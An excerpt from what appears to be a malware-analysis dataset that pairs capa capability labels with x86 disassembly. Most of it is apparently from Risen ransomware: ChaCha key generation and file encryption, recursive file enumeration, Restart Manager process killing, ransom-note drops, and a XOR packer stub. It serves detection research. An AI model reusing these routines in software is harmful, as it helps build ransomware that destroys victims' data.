joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45b048
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x482be8]
cmp dword [eax + 0x30], 0
je 0x45b0f2
cmp dword [ebx + 0x94], 0
jne 0x45b0ec
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x45afd8
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x45b0ec
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x45b0b2
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x45b0ec
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.004172f8
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x45b0c1
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x45bc54
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x45bc89
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00403fe8
jmp 0x45bc96
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00403f4c
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x45cce8
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x45cd29
mov eax, esi
call fcn.00443454
test al, al
je 0x45cd29
mov eax, dword [ebx + 0x84]
call fcn.00443150
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x45cd29
push 0
mov eax, dword [ebx + 0x84]
call fcn.00443150
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret

Function at 0x46c928
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x14], 0xca
jne 0x46c956
mov eax, ebx
call fcn.0046d3dc
cmp dword [ebx + 0x40], 0
je 0x46c94f
mov dword [ebx + 0x14], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x14], 0xcb
cmp dword [ebx + 0x14], 0xcb
jne 0x46c9c7
mov edx, dword [ebx + 0x1b4]
cmp dword [edx + 0x10], 0
je 0x46c9b9
cmp dword [ebx + 8], 0
je 0x46c978
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1b4]
call dword [edx]
test eax, eax
jne 0x46c98a
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x46c9b9
cmp dword [ebx + 8], 0
je 0x46c96b
cmp eax, 3
je 0x46c99d
dec eax
jne 0x46c96b
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x46c96b
mov edx, dword [ebx + 0x140]
add dword [eax + 8], edx
jmp 0x46c96b
mov ecx, dword [ebx + 0x90]
mov dword [ebx + 0x98], ecx
jmp 0x46c9e5
cmp dword [ebx + 0x14], 0xcc
je 0x46c9e5
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x14
mov edx, dword [ebx + 0x14]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.0046c9f0
pop ebx
ret
Function at 0x430005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
push 4
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x430072
nop
nop
mov ebx, 0x408ecc
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x2ce92cdc
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x430060
nop
nop
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
je 0x4300d2
nop
nop
nop
nop
nop
mov ebx, 0x42e1d0
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x7a57d36
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x401000
Capabilities:
Read file on windows
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x42c004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, ecx
push edi
push str.IsEncrypt_:__s
call fcn.00402d80
add esp, 8
xor esi, esi
push 0x80
push edi
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
push esi
push esi
push 3
push esi
push esi
push SysReAllocString
push edi
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4010c5
push 2
push esi
push 0xffffffffffffffff
push 0xfffffedc
push ebx
call dword [sym.imp.KERNEL32.DLL_SetFilePointerEx]
test eax, eax
je 0x4010be
mov eax, dword [str.RISEN]
mov dword [ebp - 0x130], eax
mov ax, word [0x41ee6c]
push esi
mov word [ebp - 0x12c], ax
lea eax, [ebp - 8]
push eax
push 0x124
lea eax, [ebp - 0x130]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
je 0x4010be
mov edx, 0x100
lea ecx, [ebp - 0x12a]
call fcn.00401240
cmp eax, dword [ebp - 0x28]
jne 0x4010be
push edi
push str.Is_Encrypt__TURE___:__s
mov esi, 1
call fcn.00402d80
add esp, 8
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004052f0
mov esp, ebp
pop ebp
ret
Function at 0x4010e0
Capabilities:
Encrypt data using salsa20 or chacha
Encrypt or decrypt via wincrypt
Generate random numbers via winapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x42c004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov ebx, ecx
mov dword [ebp - 0x10], edx
mov dword [ebp - 0xc], eax
push dword [edi]
push str.GenKey_:__s
call fcn.00402d80
add esp, 8
mov dword [ebp - 8], 0x40
lea esi, [edi + 0x68]
push esi
push 0x20
push ebx
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test eax, eax
je 0x4011ff
lea eax, [edi + 0x48]
push eax
push 0x20
push ebx
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test eax, eax
je 0x4011ff
mov ecx, 0x40
lea eax, [edi + 8]
nop dword [eax]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x401150
mov edx, dword [ebp - 0xc]
mov ecx, esi
push 0x100
mov eax, dword [ecx]
mov dword [edi + 0x18], eax
mov eax, dword [ecx + 4]
mov dword [edi + 0x1c], eax
mov eax, dword [ecx + 8]
mov dword [edi + 0x20], eax
mov eax, dword [ecx + 0xc]
mov dword [edi + 0x24], eax
mov eax, dword [ecx + 0x10]
mov dword [edi + 0x28], eax
mov eax, dword [ecx + 0x14]
mov dword [edi + 0x2c], eax
mov eax, dword [ecx + 0x18]
mov dword [edi + 0x30], eax
mov eax, dword [ecx + 0x1c]
lea ecx, [ebp - 8]
mov dword [edi + 0x34], eax
mov dword [edi + 8], 0x61707865
mov dword [edi + 0xc], 0x3320646e
mov dword [edi + 0x10], 0x79622d32
mov dword [edi + 0x14], 0x6b206574
mov dword [edi + 0x38], 0
mov dword [edi + 0x3c], 0
mov eax, dword [edi + 0x48]
mov dword [edi + 0x40], eax
mov eax, dword [edi + 0x4c]
mov dword [edi + 0x44], eax
lea eax, [edx + 6]
movups xmm0, xmmword [esi]
push ecx
push eax
movups xmmword [eax], xmm0
push 0
movups xmm0, xmmword [esi + 0x10]
push 1
push 0
push dword [ebp - 0x10]
movups xmmword [eax + 0x10], xmm0
movups xmm0, xmmword [edi + 0x48]
movups xmmword [edx + 0x26], xmm0
movups xmm0, xmmword [edi + 0x58]
movups xmmword [edx + 0x36], xmm0
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
mov eax, 0x20
mov byte [esi], 0
lea esi, [esi + 1]
sub eax, 1
jne 0x401204
mov ecx, 0x20
lea eax, [edi + 0x48]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x401217
lea eax, [ecx + 1]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004052f0
mov esp, ebp
pop ebp
ret
Function at 0x401240
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebx
push esi
push edi
mov edi, edx
or eax, 0xffffffff
xor esi, esi
mov ebx, ecx
test edi, edi
je 0x4012e7
movzx edx, byte [esi + ebx]
inc esi
xor eax, edx
mov ecx, eax
shr eax, 1
and ecx, 1
neg ecx
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
shr ecx, 1
and eax, 1
neg eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
shr eax, 1
and ecx, 1
neg ecx
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
shr ecx, 1
and eax, 1
neg eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
shr eax, 1
and ecx, 1
neg ecx
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
shr ecx, 1
and eax, 1
neg eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
shr eax, 1
and ecx, 1
neg ecx
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
shr ecx, 1
and eax, 1
neg eax
and eax, 0xedb88320
xor eax, ecx
cmp esi, edi
jb 0x401254
pop edi
pop esi
not eax
pop ebx
ret
Function at 0x4012f0
Capabilities:
Link many functions at runtime
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xbc
mov eax, dword [0x42c004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push ecx
push str.KillFileOwner__:__s
mov dword [ebp - 0xa4], ecx
call fcn.00402d80
mov edi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
add esp, 8
mov dword [ebp - 0x98], 0
mov dword [ebp - 0x9c], 0
mov dword [ebp - 0xa0], 0
push str.RmStartSession
push dword [0x43e0c4]
mov dword [ebp - 0x94], 0
mov byte [ebp - 0xa5], 0
call edi
lea ecx, [ebp - 0x90]
push ecx
push 0
lea ecx, [ebp - 0x98]
push ecx
call eax
mov ebx, eax
neg ebx
sbb ebx, ebx
add ebx, 1
je 0x40156b
mov esi, dword [ebp - 0x98]
push str.RmRegisterResources
push dword [0x43e0c4]
call edi
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0xa4]
push ecx
push 1
push esi
call eax
mov ebx, eax
neg ebx
sbb ebx, ebx
add ebx, 1
je 0x401555
mov esi, dword [ebp - 0x98]
push str.RmGetList
push dword [0x43e0c4]
call edi
lea ecx, [ebp - 0x9c]
push ecx
push 0
lea ecx, [ebp - 0x94]
push ecx
lea ecx, [ebp - 0xa0]
push ecx
push esi
call eax
xor ebx, ebx
cmp eax, 0xea
sete bl
test ebx, ebx
je 0x401555
imul ecx, dword [ebp - 0xa0], 0x29c
call fcn.00404b60
mov esi, dword [ebp - 0x98]
mov ebx, eax
mov eax, dword [ebp - 0xa0]
push str.RmGetList
push dword [0x43e0c4]
mov dword [ebp - 0xb8], ebx
mov dword [ebp - 0x94], eax
call edi
lea ecx, [ebp - 0x9c]
push ecx
push ebx
lea ecx, [ebp - 0x94]
push ecx
lea ecx, [ebp - 0xa0]
push ecx
push esi
call eax
mov ebx, eax
neg ebx
sbb ebx, ebx
add ebx, 1
mov dword [ebp - 0xbc], ebx
je 0x401541
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
mov edx, dword [ebp - 0x94]
xor ecx, ecx
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xb4], ecx
test edx, edx
je 0x401541
mov edi, dword [ebp - 0xb8]
mov bl, cl
mov esi, dword [edi]
cmp esi, eax
je 0x40151a
cmp esi, 4
je 0x40151a
mov eax, dword [edi + 0x28c]
cmp eax, 4
je 0x401514
cmp eax, 0x3e8
je 0x401514
push str.PIDKillProcess
call fcn.00402d80
add esp, 4
mov byte [ebp - 0xac], 0
push esi
push 0
push 0x100001
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov esi, eax
test esi, esi
je 0x401502
push 0
push esi
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
push 0x4e20
push esi
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
mov ecx, dword [ebp - 0xac]
test eax, eax
movzx ecx, cl
mov eax, 1
cmove ecx, eax
mov dword [ebp - 0xac], ecx
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
add bl, byte [ebp - 0xac]
mov edx, dword [ebp - 0x94]
mov ecx, dword [ebp - 0xb4]
mov eax, dword [ebp - 0xb0]
inc ecx
add edi, 0x29c
mov dword [ebp - 0xb4], ecx
cmp ecx, edx
jb 0x401480
mov edi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov byte [ebp - 0xa5], bl
mov ebx, dword [ebp - 0xbc]
push dword [ebp - 0xb8]
push 0
push dword [0x43fb14]
call dword [sym.imp.KERNEL32.DLL_HeapFree]
mov esi, dword [ebp - 0x98]
push str.RmEndSession
push dword [0x43e0c4]
call edi
push esi
call eax
push ebx
push str.KillFile_Error_:__d
call fcn.00402d80
mov ecx, dword [ebp - 4]
add esp, 8
mov al, byte [ebp - 0xa5]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.004052f0
mov esp, ebp
pop ebp
ret
Function at 0x401680
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov esi, ecx
push esi
push str.AccessToFile_:__s
call fcn.00402d80
add esp, 8
mov dword [ebp - 4], 0
xor ebx, ebx
push 0x80
push esi
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
push ebx
push ebx
push 3
push ebx
push ebx
push 0xc0000000
push esi
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x401734
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0x20
jne 0x4016ec
cmp ebx, 1
je 0x40174e
cmp dword [0x43e0bc], 0
je 0x40174e
mov ecx, esi
call fcn.004012f0
mov ebx, 1
jmp 0x40170b
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 5
jne 0x40174e
cmp dword [ebp - 4], 1
je 0x40174e
mov ecx, esi
call fcn.00401590
mov dword [ebp - 4], 1
push 0x80
push esi
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
push 0
push 0
push 3
push 0
push 0
push 0xc0000000
push esi
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x4016c5
mov esi, 1
cmp edi, 0xffffffff
je 0x401745
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
xor esi, esi
jmp 0x401739
Function at 0x4026a0
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ebx, ecx
push ebx
push str.DROP_INSTRUCTION_:__s
call fcn.00402d80
mov edi, dword [sym.imp.KERNEL32.DLL_HeapAlloc]
add esp, 8
nop dword [eax]
push 0x3c4
push 8
push dword [0x43fb14]
call edi
mov esi, eax
test esi, esi
je 0x4026c0
push ebx
push esi
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
mov edi, dword [sym.imp.KERNEL32.DLL_lstrcatW]
push 0x41f6e4
push esi
call edi
push 0x41f6e8
push esi
call edi
push 0x41f230
push str.C:ProgramData_Risen_Note.txt
call fcn.004090dd
add esp, 8
test eax, eax
je 0x40270c
push eax
jmp 0x40273c
push 0x41f748
push str.C:ProgramData_Risen_Note.txt
call fcn.004090dd
mov edi, eax
add esp, 8
test edi, edi
je 0x4028d7
push 0x43e450
push 0x41f74c
push edi
call fcn.00402450
add esp, 0xc
push edi
call fcn.00406e1d
add esp, 4
push 0x41f230
push esi
call fcn.004090dd
mov edi, dword [sym.imp.KERNEL32.DLL_CopyFileW]
add esp, 8
test eax, eax
je 0x402767
push eax
call fcn.00406e1d
add esp, 4
jmp 0x402779
push 1
push esi
push str.C:ProgramData_Risen_Note.txt
call edi
test eax, eax
je 0x4028d7
push ebx
push esi
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
push 0x41f6e4
push esi
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
push 0x41f750
push esi
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
push 0x41f230
push str.C:ProgramData_Risen_Guide.hta
call fcn.004090dd
add esp, 8
test eax, eax
je 0x4027b2
push eax
jmp 0x4027fb
push 0x41f748
push str.C:ProgramData_Risen_Guide.hta
call fcn.004090dd
add esp, 8
mov dword [ebp - 4], eax
test eax, eax
jne 0x4027e5
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
push ebx
push str.DecryptNote_openfile_Failed_path_:__s____lu
call fcn.00402d80
add esp, 0xc
jmp 0x4028d7
push 0x435410
push 0x41f74c
push eax
call fcn.00402450
add esp, 0xc
push dword [ebp - 4]
call fcn.00406e1d
add esp, 4
push 0x41f230
push esi
call fcn.004090dd
add esp, 8
test eax, eax
je 0x402820
push eax
call fcn.00406e1d
add esp, 4
jmp 0x402832
push 1
push esi
push str.C:ProgramData_Risen_Guide.hta
call edi
test eax, eax
je 0x4028d7
push ebx
push esi
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
mov ebx, dword [sym.imp.KERNEL32.DLL_lstrcatW]
push 0x41f6e4
push esi
call ebx
push 0x43f408
push esi
call ebx
push 0x41f230
push esi
call fcn.004090dd
add esp, 8
test eax, eax
je 0x40286d
push eax
call fcn.00406e1d
add esp, 4
jmp 0x4028d7
push 0x41f230
push 0x43f790
call fcn.004090dd
add esp, 8
test eax, eax
je 0x402898
push eax
call fcn.00406e1d
add esp, 4
push 1
push esi
push 0x43f790
call edi
jmp 0x4028d7
push 0x41f230
push 0x43f408
call fcn.004090dd
add esp, 8
test eax, eax
je 0x4028c3
push eax
call fcn.00406e1d
add esp, 4
push 1
push esi
push 0x43f408
call edi
jmp 0x4028d7
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
push str.PrivKey_NotFound___lu
call fcn.00402d80
add esp, 8
push esi
push 0
push dword [0x43fb14]
call dword [sym.imp.KERNEL32.DLL_HeapFree]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402b90
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x25c
mov eax, dword [0x42c004]
xor eax, esp
mov dword [esp + 0x258], eax
push ebx
push esi
push edi
mov ebx, ecx
push ebx
push str.FINDFILES_:__s
call fcn.00402d80
mov edi, dword [sym.imp.KERNEL32.DLL_HeapAlloc]
add esp, 8
push 0x3c4
push 8
push dword [0x43fb14]
call edi
mov esi, eax
test esi, esi
je 0x402bc3
mov ecx, ebx
call fcn.004026a0
push ebx
push esi
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
push 0x41f9d4
push esi
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
lea eax, [esp + 0x10]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_FindFirstFileW]
mov dword [esp + 0xc], eax
cmp eax, 0xffffffff
je 0x402d30
mov edi, dword [sym.imp.KERNEL32.DLL_Sleep]
mov eax, dword [0x43f78c]
cmp dword [eax + 8], 0x258
jle 0x402c42
push str.Queue_Size___600___Waiting...
call fcn.00402d80
add esp, 4
push 0x12c
call edi
mov eax, dword [0x43f78c]
cmp dword [eax + 8], 0x258
jg 0x402c20
push 0x41fa18
lea eax, [esp + 0x40]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcmpW]
test eax, eax
je 0x402d0d
push 0x41fa1c
lea eax, [esp + 0x40]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcmpW]
test eax, eax
je 0x402d0d
mov eax, dword [esp + 0x10]
test eax, 0x400
jne 0x402d0d
test al, 0x10
je 0x402cc3
lea ecx, [esp + 0x3c]
call fcn.00402590
test eax, eax
je 0x402cbb
push ebx
push esi
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
push 0x41f6e4
push esi
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
lea eax, [esp + 0x3c]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
mov ecx, esi
call fcn.00402b90
jmp 0x402d0d
mov eax, dword [esp + 0x10]
test al, 0x10
jne 0x402d0d
lea ecx, [esp + 0x3c]
call fcn.00402480
test eax, eax
je 0x402d0d
push ebx
push esi
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
push 0x41f6e4
push esi
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
lea eax, [esp + 0x3c]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
push 0x43fe9c
call dword [sym.imp.KERNEL32.DLL_EnterCriticalSection]
mov edx, esi
call fcn.00405240
push 0x43fe9c
call dword [sym.imp.KERNEL32.DLL_LeaveCriticalSection]
lea eax, [esp + 0x10]
push eax
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.DLL_FindNextFileW]
test eax, eax
jne 0x402c12
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.DLL_FindClose]
jmp 0x402d45
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
push ebx
push str.Cant_FindFirstFileW_path_:__s____lu
call fcn.00402d80
add esp, 0xc
push esi
push 0
push dword [0x43fb14]
call dword [sym.imp.KERNEL32.DLL_HeapFree]
push str.return_FINDFILES
call fcn.00402d80
mov ecx, dword [esp + 0x268]
add esp, 4
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.004052f0
mov esp, ebp
pop ebp
ret
Function at 0x402d80
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x924
mov eax, dword [0x42c004]
xor eax, ebp
mov dword [ebp - 8], eax
cmp dword [0x42ca40], 0xffffffff
push esi
push edi
je 0x402e80
mov ecx, 0x800
lea eax, [ebp - 0x90c]
nop dword [eax]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x402db0
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x90c]
push eax
call dword [sym.imp.USER32.dll_wvsprintfW]
test eax, eax
jle 0x402e80
push 0x43feb4
lea edi, [eax + eax]
call dword [sym.imp.KERNEL32.DLL_EnterCriticalSection]
lea eax, [ebp - 0x920]
push eax
call dword [sym.imp.KERNEL32.DLL_GetLocalTime]
movzx eax, word [ebp - 0x914]
push eax
movzx eax, word [ebp - 0x916]
push eax
movzx eax, word [ebp - 0x918]
push eax
lea eax, [ebp - 0x10c]
push str._02d:_02d:_02d___
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
mov esi, dword [sym.imp.KERNEL32.DLL_WriteFile]
add esp, 0x14
test eax, eax
je 0x402e44
push 0
lea ecx, [ebp - 0x910]
add eax, eax
push ecx
push eax
lea eax, [ebp - 0x10c]
push eax
push dword [0x42ca40]
call esi
push 0
lea eax, [ebp - 0x910]
push eax
push edi
lea eax, [ebp - 0x90c]
push eax
push dword [0x42ca40]
call esi
push 0
lea eax, [ebp - 0x910]
push eax
push 4
push 0x41fa98
push dword [0x42ca40]
call esi
push 0x43feb4
call dword [sym.imp.KERNEL32.DLL_LeaveCriticalSection]
mov ecx, dword [ebp - 8]
pop edi
xor ecx, ebp
pop esi
call fcn.004052f0
mov esp, ebp
pop ebp
ret

Function at 0x402ed0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x42c004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push str.IsWow64Process
push str.kernel32.dll
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push eax
call esi
mov edi, eax
test edi, edi
je 0x402f23
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call edi
test eax, eax
je 0x402f46
cmp dword [ebp - 8], 0
je 0x402f46
push str.kernel32.dll
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push str.Wow64DisableWow64FsRedirection
push eax
call esi
test eax, eax
je 0x402f46
lea ecx, [ebp - 0xc]
push ecx
call eax
push 0
push 0
push dword [ebp - 0x10]
push str.cmd.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push str.IsWow64Process
push str.kernel32.dll
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call esi
mov edi, eax
test edi, edi
je 0x402f90
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call edi
test eax, eax
je 0x402fb2
cmp dword [ebp - 8], 0
je 0x402fb2
push str.kernel32.dll
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push str.Wow64RevertWow64FsRedirection
push eax
call esi
test eax, eax
je 0x402fb2
push dword [ebp - 0xc]
call eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.004052f0
mov esp, ebp
pop ebp
ret